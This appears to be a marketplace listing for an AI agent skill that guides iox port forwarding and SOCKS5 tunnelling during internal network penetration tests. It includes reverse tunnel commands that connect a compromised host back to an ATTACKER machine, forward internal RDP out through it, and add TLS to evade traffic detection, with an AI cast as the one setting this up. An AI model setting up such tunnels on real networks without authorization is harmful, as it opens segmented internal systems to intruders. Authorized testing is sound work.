iox-proxy

Configure iox port forwarding and SOCKS5 tunnels for internal network pivoting.

1.7k|238|Updated Dec 7, 2019
One-click install
npx skills add https://github.com/wgpsec/AboutSecurity --skill iox-proxy
Or copy as Structured Prompt for Agent
Please help me install this Agent Skill.
Skill: iox-proxy
Source: https://github.com/wgpsec/AboutSecurity/tree/main/skills/tool/iox-proxy
Command: npx skills add https://github.com/wgpsec/AboutSecurity --skill iox-proxy

SYSTEM DOCUMENTATION & REQUIREMENTS

What problem does it solve?

During internal network penetration testing, attackers often cannot directly reach intranet services due to firewalls and network segmentation. This Skill provides operational guidance for using iox, a single-binary zero-dependency port forwarding and proxy tool, to build traffic tunnels that expose internal services to the attack machine.

Core Features & Use Cases

  • Port Forwarding (fwd mode): Forward a target port to an internal address in forward mode, or use reverse mode where the target connects out to the attacker when inbound traffic is blocked.
  • SOCKS5 Proxying (proxy mode): Stand up forward or reverse SOCKS5 proxies so tools like proxychains and nmap can scan entire internal subnets through the compromised host.
  • Encrypted Transport: Add the -k flag for TLS-encrypted tunnels to reduce traffic signature detection.
  • Use Case: After obtaining a shell on a DMZ host, run a reverse iox proxy back to the attack machine, then use proxychains to RDP into an internal Windows server at 10.0.0.2 that is otherwise unreachable.

Quick Start

Ask the AI to set up a reverse SOCKS5 tunnel with iox so the attack machine can reach the internal network through the compromised target host.

Frequently Asked Questions about iox-proxy

High-intent search queries and answers about installing and using this skill.

FAQPage Schema
How do I set up a reverse SOCKS5 proxy with iox?

Run iox proxy -l 9999 on the attack machine to listen, then run iox proxy -r ATTACKER:9999 on the target to connect back. Configure proxychains with socks5 127.0.0.1 9999 to route tools through the tunnel.

How to forward an internal RDP port through a compromised host?

Use iox fwd with two listeners on the attack machine (iox fwd -l 33890 -l 8888), then on the target run iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389. Connect your RDP client to localhost:33890.

iox vs frp vs socat for port forwarding, which should I use?

iox is a single zero-dependency binary suited for quick tunnels and SOCKS5 pivoting. frp or nps fit when you need persistent tunnels with a web management panel, while socat or ssh -L works for one-off temporary port forwards.

Does iox support encrypted tunnel traffic?

Yes, iox supports TLS encryption by adding the -k flag to both ends of the connection. This works for both fwd and proxy modes and helps avoid traffic signature detection.

When should I use reverse mode instead of forward mode?

Use reverse mode when the target has a firewall blocking inbound connections but allows outbound traffic. The target initiates the connection to your attack machine, bypassing inbound filtering.